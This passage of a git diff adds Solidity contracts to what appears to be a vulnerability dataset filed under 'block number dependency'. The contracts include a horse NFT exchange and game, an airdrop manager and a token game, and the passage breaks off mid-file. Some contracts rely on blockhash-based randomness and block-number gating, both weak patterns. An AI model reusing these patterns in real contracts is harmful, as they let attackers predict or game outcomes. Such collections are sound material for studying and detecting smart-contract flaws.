msg.sender) || (paladinAddress == msg.sender),"not c level"); + _; + } + + + + modifier proposalAvailable(){ + require(((!proposalInProgress) || ((block.timestamp - currentProposal.timestamp) > proposalLife)),"proposal already pending"); + _; + } + + + + modifier cooledDown( ){ + if(msg.sender == currentProposal.proposer && (block.timestamp - cooldownStart < 1 days)){ + revert("Cool down period not passed yet"); + } + _; + } + + + modifier proposalPending() { + require(proposalInProgress,"no proposal pending"); + _; + } + + + modifier notVoted() { + uint256 length = currentProposal.yay.length; + for(uint i = 0; i < length; i++) { + if(currentProposal.yay[i] == msg.sender) { + revert("Already voted"); + } + } + + length = currentProposal.nay.length; + for(i = 0; i < length; i++) { + if(currentProposal.nay[i] == msg.sender) { + revert("Already voted"); + } + } + _; + } + + + modifier onlyVoters() { + bool found = false; + uint256 length = voters.length; + for(uint i = 0; i < length; i++) { + if(voters[i] == msg.sender) { + found = true; + break; + } + } + if(!found) { + revert("not a voter"); + } + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/655.sol b/smart_contract_dataset/block number dependency/655.sol new file mode 100644 index 0000000000000000000000000000000000000000..0814d205dfc6f22ecd4114491fb86819b5d643c6 --- /dev/null +++ b/smart_contract_dataset/block number dependency/655.sol @@ -0,0 +1,1134 @@ +pragma solidity ^0.4.24; + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + if (a == 0) { + return 0; + } + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + emit OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } +} + + + + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused() { + require(paused); + _; + } + + + function pause() onlyOwner whenNotPaused public { + paused = true; + emit Pause(); + } + + + function unpause() onlyOwner whenPaused public { + paused = false; + emit Unpause(); + } +} + + + + +contract ERC721Basic { + function balanceOf(address _owner) public view returns (uint256 _balance); + function ownerOf(uint256 _tokenId) public view returns (address _owner); + function exists(uint256 _tokenId) public view returns (bool _exists); + + function approve(address _to, uint256 _tokenId) public; + function getApproved(uint256 _tokenId) public view returns (address _operator); + + function transferFrom(address _from, address _to, uint256 _tokenId) public; +} + + +contract HorseyExchange is Pausable { + + using SafeMath for uint256; + + event HorseyDeposit(uint256 tokenId, uint256 price); + event SaleCanceled(uint256 tokenId); + event HorseyPurchased(uint256 tokenId, address newOwner, uint256 totalToPay); + + + uint256 public marketMakerFee = 3; + + + uint256 collectedFees = 0; + + + ERC721Basic public token; + + + struct SaleData { + uint256 price; + address owner; + } + + + mapping (uint256 => SaleData) market; + + + mapping (address => uint256[]) userBarn; + + + constructor() Pausable() public { + } + + + function setStables(address _token) external + onlyOwner() + { + require(address(_token) != 0,"Address of token is zero"); + token = ERC721Basic(_token); + } + + + function setMarketFees(uint256 fees) external + onlyOwner() + { + marketMakerFee = fees; + } + + + function getTokensOnSale(address user) external view returns(uint256[]) { + return userBarn[user]; + } + + + function getTokenPrice(uint256 tokenId) public view + isOnMarket(tokenId) returns (uint256) { + return market[tokenId].price + (market[tokenId].price.div(100).mul(marketMakerFee)); + } + + + function depositToExchange(uint256 tokenId, uint256 price) external + whenNotPaused() + isTokenOwner(tokenId) + nonZeroPrice(price) + tokenAvailable() { + require(token.getApproved(tokenId) == address(this),"Exchange is not allowed to transfer"); + + token.transferFrom(msg.sender, address(this), tokenId); + + + market[tokenId] = SaleData(price,msg.sender); + + + userBarn[msg.sender].push(tokenId); + + emit HorseyDeposit(tokenId, price); + } + + + function cancelSale(uint256 tokenId) external + whenNotPaused() + originalOwnerOf(tokenId) + tokenAvailable() returns (bool) { + + token.transferFrom(address(this),msg.sender,tokenId); + + + delete market[tokenId]; + + + _removeTokenFromBarn(tokenId, msg.sender); + + emit SaleCanceled(tokenId); + + + + return userBarn[msg.sender].length > 0; + } + + + function purchaseToken(uint256 tokenId) external payable + whenNotPaused() + isOnMarket(tokenId) + tokenAvailable() + notOriginalOwnerOf(tokenId) + { + + uint256 totalToPay = getTokenPrice(tokenId); + require(msg.value >= totalToPay, "Not paying enough"); + + + SaleData memory sale = market[tokenId]; + + + collectedFees += totalToPay - sale.price; + + + sale.owner.transfer(sale.price); + + + _removeTokenFromBarn(tokenId, sale.owner); + + + delete market[tokenId]; + + + + token.transferFrom(address(this), msg.sender, tokenId); + + + if(msg.value > totalToPay) + { + msg.sender.transfer(msg.value.sub(totalToPay)); + } + + emit HorseyPurchased(tokenId, msg.sender, totalToPay); + } + + + function withdraw() external + onlyOwner() + { + assert(collectedFees <= address(this).balance); + owner.transfer(collectedFees); + collectedFees = 0; + } + + + function _removeTokenFromBarn(uint tokenId, address barnAddress) internal { + uint256[] storage barnArray = userBarn[barnAddress]; + require(barnArray.length > 0,"No tokens to remove"); + int index = _indexOf(tokenId, barnArray); + require(index >= 0, "Token not found in barn"); + + + for (uint256 i = uint256(index); i 0,"Price is zero"); + _; + } + + + modifier tokenAvailable(){ + require(address(token) != 0,"Token address not set"); + _; + } +} + + + +contract BettingControllerInterface { + address public owner; +} + +contract EthorseRace { + + + struct chronus_info { + bool betting_open; + bool race_start; + bool race_end; + bool voided_bet; + uint32 starting_time; + uint32 betting_duration; + uint32 race_duration; + uint32 voided_timestamp; + } + + address public owner; + + + chronus_info public chronus; + + + mapping (bytes32 => bool) public winner_horse; + + + function getCoinIndex(bytes32 index, address candidate) external constant returns (uint, uint, uint, bool, uint); +} + + +contract EthorseHelpers { + + + bytes32[] public all_horses = [bytes32("BTC"),bytes32("ETH"),bytes32("LTC")]; + mapping(address => bool) private _legitOwners; + + + function _addHorse(bytes32 newHorse) internal { + all_horses.push(newHorse); + } + + function _addLegitOwner(address newOwner) internal + { + _legitOwners[newOwner] = true; + } + + function getall_horsesCount() public view returns(uint) { + return all_horses.length; + } + + + function _isWinnerOf(address raceAddress, address eth_address) internal view returns (bool,bytes32) + { + + EthorseRace race = EthorseRace(raceAddress); + + BettingControllerInterface bc = BettingControllerInterface(race.owner()); + + require(_legitOwners[bc.owner()]); + + bool voided_bet; + bool race_end; + (,,race_end,voided_bet,,,,) = race.chronus(); + + + if(voided_bet || !race_end) + return (false,bytes32(0)); + + + bytes32 horse; + bool found = false; + uint256 arrayLength = all_horses.length; + + + for(uint256 i = 0; i < arrayLength; i++) + { + if(race.winner_horse(all_horses[i])) { + horse = all_horses[i]; + found = true; + break; + } + } + + if(!found) + return (false,bytes32(0)); + + + uint256 bet_amount = 0; + if(eth_address != address(0)) { + (,,,, bet_amount) = race.getCoinIndex(horse, eth_address); + } + + + return (bet_amount > 0, horse); + } +} + + + +contract RoyalStablesInterface { + + struct Horsey { + address race; + bytes32 dna; + uint8 feedingCounter; + uint8 tier; + } + + mapping(uint256 => Horsey) public horseys; + mapping(address => uint32) public carrot_credits; + mapping(uint256 => string) public names; + address public master; + + function getOwnedTokens(address eth_address) public view returns (uint256[]); + function storeName(uint256 tokenId, string newName) public; + function storeCarrotsCredit(address client, uint32 amount) public; + function storeHorsey(address client, uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public; + function modifyHorsey(uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public; + function modifyHorseyDna(uint256 tokenId, bytes32 dna) public; + function modifyHorseyFeedingCounter(uint256 tokenId, uint8 feedingCounter) public; + function modifyHorseyTier(uint256 tokenId, uint8 tier) public; + function unstoreHorsey(uint256 tokenId) public; + function ownerOf(uint256 tokenId) public returns (address); +} + + +contract HorseyToken is EthorseHelpers,Pausable { + using SafeMath for uint256; + + + event Claimed(address raceAddress, address eth_address, uint256 tokenId); + + + event Feeding(uint256 tokenId); + + + event ReceivedCarrot(uint256 tokenId, bytes32 newDna); + + + event FeedingFailed(uint256 tokenId); + + + event HorseyRenamed(uint256 tokenId, string newName); + + + event HorseyFreed(uint256 tokenId); + + + RoyalStablesInterface public stables; + + + uint8 public carrotsMultiplier = 1; + + + uint8 public rarityMultiplier = 1; + + + uint256 public claimingFee = 0.008 ether; + + + struct FeedingData { + uint256 blockNumber; + uint256 horsey; + } + + + mapping(address => FeedingData) public pendingFeedings; + + + uint256 public renamingCostsPerChar = 0.001 ether; + + + constructor(address stablesAddress) + EthorseHelpers() + Pausable() public { + stables = RoyalStablesInterface(stablesAddress); + } + + + function setRarityMultiplier(uint8 newRarityMultiplier) external + onlyOwner() { + rarityMultiplier = newRarityMultiplier; + } + + + function setCarrotsMultiplier(uint8 newCarrotsMultiplier) external + onlyOwner() { + carrotsMultiplier = newCarrotsMultiplier; + } + + + function setRenamingCosts(uint256 newRenamingCost) external + onlyOwner() { + renamingCostsPerChar = newRenamingCost; + } + + + function setClaimingCosts(uint256 newClaimingFee) external + onlyOwner() { + claimingFee = newClaimingFee; + } + + + function addLegitDevAddress(address newAddress) external + onlyOwner() { + _addLegitOwner(newAddress); + } + + + function withdraw() external + onlyOwner() { + owner.transfer(address(this).balance); + } + + + + function addHorseIndex(bytes32 newHorse) external + onlyOwner() { + _addHorse(newHorse); + } + + + function getOwnedTokens(address eth_address) public view returns (uint256[]) { + return stables.getOwnedTokens(eth_address); + } + + + function can_claim(address raceAddress, address eth_address) public view returns (bool) { + bool res; + (res,) = _isWinnerOf(raceAddress, eth_address); + return res; + } + + + function claim(address raceAddress) external payable + costs(claimingFee) + whenNotPaused() + { + + bytes32 winner; + (,winner) = _isWinnerOf(raceAddress, address(0)); + require(winner != bytes32(0),"Winner is zero"); + require(can_claim(raceAddress, msg.sender),"can_claim return false"); + + uint256 id = _generate_special_horsey(raceAddress, msg.sender, winner); + emit Claimed(raceAddress, msg.sender, id); + } + + + function renameHorsey(uint256 tokenId, string newName) external + whenNotPaused() + onlyOwnerOf(tokenId) + costs(renamingCostsPerChar * bytes(newName).length) + payable { + uint256 renamingFee = renamingCostsPerChar * bytes(newName).length; + + if(msg.value > renamingFee) + { + msg.sender.transfer(msg.value.sub(renamingFee)); + } + + stables.storeName(tokenId,newName); + emit HorseyRenamed(tokenId,newName); + } + + + function freeForCarrots(uint256 tokenId) external + whenNotPaused() + onlyOwnerOf(tokenId) { + require(pendingFeedings[msg.sender].horsey != tokenId,""); + + uint8 feedingCounter; + (,,feedingCounter,) = stables.horseys(tokenId); + stables.storeCarrotsCredit(msg.sender,stables.carrot_credits(msg.sender) + uint32(feedingCounter * carrotsMultiplier)); + stables.unstoreHorsey(tokenId); + emit HorseyFreed(tokenId); + } + + + function getCarrotCredits() external view returns (uint32) { + return stables.carrot_credits(msg.sender); + } + + + function getHorsey(uint256 tokenId) public view returns (address, bytes32, uint8, string) { + RoyalStablesInterface.Horsey memory temp; + (temp.race,temp.dna,temp.feedingCounter,temp.tier) = stables.horseys(tokenId); + return (temp.race,temp.dna,temp.feedingCounter,stables.names(tokenId)); + } + + + function feed(uint256 tokenId) external + whenNotPaused() + onlyOwnerOf(tokenId) + carrotsMeetLevel(tokenId) + noFeedingInProgress() + { + pendingFeedings[msg.sender] = FeedingData(block.number,tokenId); + uint8 feedingCounter; + (,,feedingCounter,) = stables.horseys(tokenId); + stables.storeCarrotsCredit(msg.sender,stables.carrot_credits(msg.sender) - uint32(feedingCounter)); + emit Feeding(tokenId); + } + + + function stopFeeding() external + feedingInProgress() returns (bool) { + uint256 blockNumber = pendingFeedings[msg.sender].blockNumber; + uint256 tokenId = pendingFeedings[msg.sender].horsey; + + require(block.number - blockNumber >= 1,"feeding and stop feeding are in same block"); + + delete pendingFeedings[msg.sender]; + + + + if(block.number - blockNumber > 255) { + + + emit FeedingFailed(tokenId); + return false; + } + + + if(stables.ownerOf(tokenId) != msg.sender) { + + + emit FeedingFailed(tokenId); + return false; + } + + + _feed(tokenId, blockhash(blockNumber)); + bytes32 dna; + (,dna,,) = stables.horseys(tokenId); + emit ReceivedCarrot(tokenId, dna); + return true; + } + + + function() external payable { + revert("Not accepting donations"); + } + + + function _feed(uint256 tokenId, bytes32 blockHash) internal { + + uint8 tier; + uint8 feedingCounter; + (,,feedingCounter,tier) = stables.horseys(tokenId); + uint256 probabilityByRarity = 10 ** (uint256(tier).add(1)); + uint256 randNum = uint256(keccak256(abi.encodePacked(tokenId, blockHash))) % probabilityByRarity; + + + if(randNum <= (feedingCounter * rarityMultiplier)){ + _increaseRarity(tokenId, blockHash); + } + + + + if(feedingCounter < 255) { + stables.modifyHorseyFeedingCounter(tokenId,feedingCounter+1); + } + } + + + function _makeSpecialId(address race, address sender, bytes32 coinIndex) internal pure returns (uint256) { + return uint256(keccak256(abi.encodePacked(race, sender, coinIndex))); + } + + + function _generate_special_horsey(address race, address eth_address, bytes32 coinIndex) internal returns (uint256) { + uint256 id = _makeSpecialId(race, eth_address, coinIndex); + + bytes32 dna = _shiftRight(keccak256(abi.encodePacked(race, coinIndex)),16); + + stables.storeHorsey(eth_address,id,race,dna,1,0); + return id; + } + + + function _increaseRarity(uint256 tokenId, bytes32 blockHash) private { + uint8 tier; + bytes32 dna; + (,dna,,tier) = stables.horseys(tokenId); + if(tier < 255) + stables.modifyHorseyTier(tokenId,tier+1); + uint256 random = uint256(keccak256(abi.encodePacked(tokenId, blockHash))); + + bytes32 rarityMask = _shiftLeft(bytes32(1), (random % 16 + 240)); + bytes32 newdna = dna | rarityMask; + stables.modifyHorseyDna(tokenId,newdna); + } + + + function _shiftLeft(bytes32 data, uint n) internal pure returns (bytes32) { + return bytes32(uint256(data)*(2 ** n)); + } + + + function _shiftRight(bytes32 data, uint n) internal pure returns (bytes32) { + return bytes32(uint256(data)/(2 ** n)); + } + + + modifier carrotsMeetLevel(uint256 tokenId){ + uint256 feedingCounter; + (,,feedingCounter,) = stables.horseys(tokenId); + require(feedingCounter <= stables.carrot_credits(msg.sender),"Not enough carrots"); + _; + } + + + modifier costs(uint256 amount) { + require(msg.value >= amount,"Not enough funds"); + _; + } + + + modifier validAddress(address addr) { + require(addr != address(0),"Address is zero"); + _; + } + + + modifier noFeedingInProgress() { + + require(pendingFeedings[msg.sender].blockNumber == 0,"Already feeding"); + _; + } + + + modifier feedingInProgress() { + + require(pendingFeedings[msg.sender].blockNumber != 0,"No pending feeding"); + _; + } + + + modifier onlyOwnerOf(uint256 tokenId) { + require(stables.ownerOf(tokenId) == msg.sender, "Caller is not owner of this token"); + _; + } +} + + + + + +contract HorseyPilot { + + using SafeMath for uint256; + + + event NewProposal(uint8 methodId, uint parameter, address proposer); + + + event ProposalPassed(uint8 methodId, uint parameter, address proposer); + + + + uint8 constant votingThreshold = 2; + + + + uint256 constant proposalLife = 7 days; + + + + uint256 constant proposalCooldown = 1 days; + + + uint256 cooldownStart; + + + address public jokerAddress; + address public knightAddress; + address public paladinAddress; + + + address[3] public voters; + + + uint8 constant public knightEquity = 40; + uint8 constant public paladinEquity = 10; + + + address public exchangeAddress; + address public tokenAddress; + + + mapping(address => uint) internal _cBalance; + + + struct Proposal{ + address proposer; + uint256 timestamp; + uint256 parameter; + uint8 methodId; + address[] yay; + address[] nay; + } + + + Proposal public currentProposal; + + + bool public proposalInProgress = false; + + + uint256 public toBeDistributed; + + + bool deployed = false; + + + constructor( + address _jokerAddress, + address _knightAddress, + address _paladinAddress, + address[3] _voters + ) public { + jokerAddress = _jokerAddress; + knightAddress = _knightAddress; + paladinAddress = _paladinAddress; + + for(uint i = 0; i < 3; i++) { + voters[i] = _voters[i]; + } + + + cooldownStart = block.timestamp - proposalCooldown; + } + + + function deployChildren(address stablesAddress) external { + require(!deployed,"already deployed"); + + exchangeAddress = new HorseyExchange(); + tokenAddress = new HorseyToken(stablesAddress); + + + HorseyExchange(exchangeAddress).setStables(stablesAddress); + + deployed = true; + } + + + function transferJokerOwnership(address newJoker) external + validAddress(newJoker) { + require(jokerAddress == msg.sender,"Not right role"); + _moveBalance(newJoker); + jokerAddress = newJoker; + } + + + function transferKnightOwnership(address newKnight) external + validAddress(newKnight) { + require(knightAddress == msg.sender,"Not right role"); + _moveBalance(newKnight); + knightAddress = newKnight; + } + + + function transferPaladinOwnership(address newPaladin) external + validAddress(newPaladin) { + require(paladinAddress == msg.sender,"Not right role"); + _moveBalance(newPaladin); + paladinAddress = newPaladin; + } + + + function withdrawCeo(address destination) external + onlyCLevelAccess() + validAddress(destination) { + + + if(toBeDistributed > 0){ + _updateDistribution(); + } + + + uint256 balance = _cBalance[msg.sender]; + + + if(balance > 0 && (address(this).balance >= balance)) { + destination.transfer(balance); + _cBalance[msg.sender] = 0; + } + } + + + function syncFunds() external { + uint256 prevBalance = address(this).balance; + HorseyToken(tokenAddress).withdraw(); + HorseyExchange(exchangeAddress).withdraw(); + uint256 newBalance = address(this).balance; + + toBeDistributed = toBeDistributed.add(newBalance - prevBalance); + } + + + function getNobleBalance() external view + onlyCLevelAccess() returns (uint256) { + return _cBalance[msg.sender]; + } + + + function makeProposal( uint8 methodId, uint256 parameter ) external + onlyCLevelAccess() + proposalAvailable() + cooledDown() + { + currentProposal.timestamp = block.timestamp; + currentProposal.parameter = parameter; + currentProposal.methodId = methodId; + currentProposal.proposer = msg.sender; + delete currentProposal.yay; + delete currentProposal.nay; + proposalInProgress = true; + + emit NewProposal(methodId,parameter,msg.sender); + } + + + function voteOnProposal(bool voteFor) external + proposalPending() + onlyVoters() + notVoted() { + + require((block.timestamp - currentProposal.timestamp) <= proposalLife); + if(voteFor) + { + currentProposal.yay.push(msg.sender); + + if( currentProposal.yay.length >= votingThreshold ) + { + _doProposal(); + proposalInProgress = false; + + return; + } + + } else { + currentProposal.nay.push(msg.sender); + + if( currentProposal.nay.length >= votingThreshold ) + { + proposalInProgress = false; + cooldownStart = block.timestamp; + return; + } + } + } + + + function _moveBalance(address newAddress) internal + validAddress(newAddress) { + require(newAddress != msg.sender); + _cBalance[newAddress] = _cBalance[msg.sender]; + _cBalance[msg.sender] = 0; + } + + + function _updateDistribution() internal { + require(toBeDistributed != 0,"nothing to distribute"); + uint256 knightPayday = toBeDistributed.div(100).mul(knightEquity); + uint256 paladinPayday = toBeDistributed.div(100).mul(paladinEquity); + + + uint256 jokerPayday = toBeDistributed.sub(knightPayday).sub(paladinPayday); + + _cBalance[jokerAddress] = _cBalance[jokerAddress].add(jokerPayday); + _cBalance[knightAddress] = _cBalance[knightAddress].add(knightPayday); + _cBalance[paladinAddress] = _cBalance[paladinAddress].add(paladinPayday); + + toBeDistributed = 0; + } + + + function _doProposal() internal { + + if( currentProposal.methodId == 0 ) HorseyToken(tokenAddress).setRenamingCosts(currentProposal.parameter); + + + if( currentProposal.methodId == 1 ) HorseyExchange(exchangeAddress).setMarketFees(currentProposal.parameter); + + + if( currentProposal.methodId == 2 ) HorseyToken(tokenAddress).addLegitDevAddress(address(currentProposal.parameter)); + + + if( currentProposal.methodId == 3 ) HorseyToken(tokenAddress).addHorseIndex(bytes32(currentProposal.parameter)); + + + if( currentProposal.methodId == 4 ) { + if(currentProposal.parameter == 0) { + HorseyExchange(exchangeAddress).unpause(); + HorseyToken(tokenAddress).unpause(); + } else { + HorseyExchange(exchangeAddress).pause(); + HorseyToken(tokenAddress).pause(); + } + } + + + if( currentProposal.methodId == 5 ) HorseyToken(tokenAddress).setClaimingCosts(currentProposal.parameter); + + + if( currentProposal.methodId == 8 ){ + HorseyToken(tokenAddress).setCarrotsMultiplier(uint8(currentProposal.parameter)); + } + + + if( currentProposal.methodId == 9 ){ + HorseyToken(tokenAddress).setRarityMultiplier(uint8(currentProposal.parameter)); + } + + emit ProposalPassed(currentProposal.methodId,currentProposal.parameter,currentProposal.proposer); + } + + + modifier validAddress(address addr) { + require(addr != address(0),"Address is zero"); + _; + } + + + modifier onlyCLevelAccess() { + require((jokerAddress == msg.sender) || (knightAddress == msg.sender) || (paladinAddress == msg.sender),"not c level"); + _; + } + + + + modifier proposalAvailable(){ + require(((!proposalInProgress) || ((block.timestamp - currentProposal.timestamp) > proposalLife)),"proposal already pending"); + _; + } + + + + modifier cooledDown( ){ + if(msg.sender == currentProposal.proposer && (block.timestamp - cooldownStart < 1 days)){ + revert("Cool down period not passed yet"); + } + _; + } + + + modifier proposalPending() { + require(proposalInProgress,"no proposal pending"); + _; + } + + + modifier notVoted() { + uint256 length = currentProposal.yay.length; + for(uint i = 0; i < length; i++) { + if(currentProposal.yay[i] == msg.sender) { + revert("Already voted"); + } + } + + length = currentProposal.nay.length; + for(i = 0; i < length; i++) { + if(currentProposal.nay[i] == msg.sender) { + revert("Already voted"); + } + } + _; + } + + + modifier onlyVoters() { + bool found = false; + uint256 length = voters.length; + for(uint i = 0; i < length; i++) { + if(voters[i] == msg.sender) { + found = true; + break; + } + } + if(!found) { + revert("not a voter"); + } + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/661.sol b/smart_contract_dataset/block number dependency/661.sol new file mode 100644 index 0000000000000000000000000000000000000000..1bb6b7ed9fa14c86b60fc1c368089fe1cb1c60a6 --- /dev/null +++ b/smart_contract_dataset/block number dependency/661.sol @@ -0,0 +1,222 @@ +pragma solidity ^0.4.24; + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +contract Claimable is Ownable { + address public pendingOwner; + + + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + + function claimOwnership() onlyPendingOwner public { + emit OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +contract SimpleFlyDropToken is Claimable { + using SafeMath for uint256; + + ERC20 internal erc20tk; + + function setToken(address _token) onlyOwner public { + require(_token != address(0)); + erc20tk = ERC20(_token); + } + + + function multiSend(address[] _destAddrs, uint256[] _values) onlyOwner public returns (uint256) { + require(_destAddrs.length == _values.length); + + uint256 i = 0; + for (; i < _destAddrs.length; i = i.add(1)) { + if (!erc20tk.transfer(_destAddrs[i], _values[i])) { + break; + } + } + + return (i); + } +} + +contract DelayedClaimable is Claimable { + + uint256 public end; + uint256 public start; + + + function setLimits(uint256 _start, uint256 _end) onlyOwner public { + require(_start <= _end); + end = _end; + start = _start; + } + + + function claimOwnership() onlyPendingOwner public { + require((block.number <= end) && (block.number >= start)); + emit OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + end = 0; + } + +} + +contract FlyDropTokenMgr is DelayedClaimable { + using SafeMath for uint256; + + address[] dropTokenAddrs; + SimpleFlyDropToken currentDropTokenContract; + + + + function prepare(uint256 _rand, + address _from, + address _token, + uint256 _value) onlyOwner public returns (bool) { + require(_token != address(0)); + require(_from != address(0)); + require(_rand > 0); + + if (ERC20(_token).allowance(_from, this) < _value) { + return false; + } + + if (_rand > dropTokenAddrs.length) { + SimpleFlyDropToken dropTokenContract = new SimpleFlyDropToken(); + dropTokenAddrs.push(address(dropTokenContract)); + currentDropTokenContract = dropTokenContract; + } else { + currentDropTokenContract = SimpleFlyDropToken(dropTokenAddrs[_rand.sub(1)]); + } + + currentDropTokenContract.setToken(_token); + return ERC20(_token).transferFrom(_from, currentDropTokenContract, _value); + + + + } + + + + + + + + + + function flyDrop(address[] _destAddrs, uint256[] _values) onlyOwner public returns (uint256) { + require(address(currentDropTokenContract) != address(0)); + return currentDropTokenContract.multiSend(_destAddrs, _values); + } + +} + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/672.sol b/smart_contract_dataset/block number dependency/672.sol new file mode 100644 index 0000000000000000000000000000000000000000..1b481c2d6e723a8f635d6152fb9341aca217d071 --- /dev/null +++ b/smart_contract_dataset/block number dependency/672.sol @@ -0,0 +1,880 @@ +pragma solidity ^0.4.24; + + + + + + + + + + + + + + + +library SafeMath { + function add(uint a, uint b) internal pure returns (uint c) { + c = a + b; + require(c >= a); + } + function sub(uint a, uint b) internal pure returns (uint c) { + require(b <= a); + c = a - b; + } + function mul(uint a, uint b) internal pure returns (uint c) { + c = a * b; + require(a == 0 || c / a == b); + } + function div(uint a, uint b) internal pure returns (uint c) { + require(b > 0); + c = a / b; + } +} + + + + + + +contract ERC20Interface { + function totalSupply() public constant returns (uint); + function balanceOf(address tokenOwner) public constant returns (uint balance); + function allowance(address tokenOwner, address spender) public constant returns (uint remaining); + function transfer(address to, uint tokens) public returns (bool success); + function approve(address spender, uint tokens) public returns (bool success); + function transferFrom(address from, address to, uint tokens) public returns (bool success); + + event Transfer(address indexed from, address indexed to, uint tokens); + event Approval(address indexed tokenOwner, address indexed spender, uint tokens); +} + + + + + + + +contract ApproveAndCallFallBack { + function receiveApproval(address from, uint256 tokens, address token, bytes data) public; +} + + + + + +contract Owned { + address public owner; + address public newOwner; + + event OwnershipTransferred(address indexed _from, address indexed _to); + + constructor() public { + owner = 0x0B0eFad4aE088a88fFDC50BCe5Fb63c6936b9220; + } + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + function transferOwnership(address _newOwner) public onlyOwner { + newOwner = _newOwner; + } + function acceptOwnership() public { + require(msg.sender == newOwner); + emit OwnershipTransferred(owner, newOwner); + owner = newOwner; + newOwner = address(0); + } +} + + + + + + +contract FixedSupplyToken is ERC20Interface, Owned { + using SafeMath for uint; + + string public symbol; + string public name; + uint8 public decimals; + uint _totalSupply; + + mapping(address => uint) balances; + mapping(address => mapping(address => uint)) allowed; + + + + + + constructor() public { + symbol = "DOTCH"; + name = "Diamond Of The Crypto Hill"; + decimals = 0; + _totalSupply = 10000000000; + balances[this] = _totalSupply; + emit Transfer(address(0),this, _totalSupply); + } + + + + + + function totalSupply() public view returns (uint) { + return _totalSupply.sub(balances[address(0)]); + } + + + + + + function balanceOf(address tokenOwner) public view returns (uint balance) { + return balances[tokenOwner]; + } + + + + + + + + function transfer(address to, uint tokens) public returns (bool success) { + balances[msg.sender] = balances[msg.sender].sub(tokens); + balances[to] = balances[to].add(tokens); + emit Transfer(msg.sender, to, tokens); + return true; + } + + + + + + + + + + + function approve(address spender, uint tokens) public returns (bool success) { + allowed[msg.sender][spender] = tokens; + emit Approval(msg.sender, spender, tokens); + return true; + } + + + + + + + + + + + + function transferFrom(address from, address to, uint tokens) public returns (bool success) { + balances[from] = balances[from].sub(tokens); + allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); + balances[to] = balances[to].add(tokens); + emit Transfer(from, to, tokens); + return true; + } + + + + + + + function allowance(address tokenOwner, address spender) public view returns (uint remaining) { + return allowed[tokenOwner][spender]; + } + + + + + + + + function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { + allowed[msg.sender][spender] = tokens; + emit Approval(msg.sender, spender, tokens); + ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); + return true; + } + + + + + + + + + function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { + return ERC20Interface(tokenAddress).transfer(owner, tokens); + } +} +interface HourglassInterface { + function() payable external; + function buy(address _playerAddress) payable external returns(uint256); + function sell(uint256 _amountOfTokens) external; + function reinvest() external; + function withdraw() external; + function exit() external; + function dividendsOf(address _playerAddress) external view returns(uint256); + function balanceOf(address _playerAddress) external view returns(uint256); + function transfer(address _toAddress, uint256 _amountOfTokens) external returns(bool); + function stakingRequirement() external view returns(uint256); +} +contract Game is FixedSupplyToken { + +HourglassInterface constant P3Dcontract_ = HourglassInterface(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe); +struct Village { + address owner; + uint defending; + uint lastcollect; + uint beginnerprotection; +} +struct Variables { + uint nextVillageId; + uint bpamount; + + uint totalsupplyGOTCH; + uint GOTCHatcontract; + uint previousethamount; + uint solsforhire; + uint solslastupdate; + uint soldierreplenishrate; + uint soldierprice; + uint lastblockpayout; + uint blocksbeforenewpay; + uint ATPO; + uint nextpayamount; + uint nextowneramount; + + +} +struct Ownables 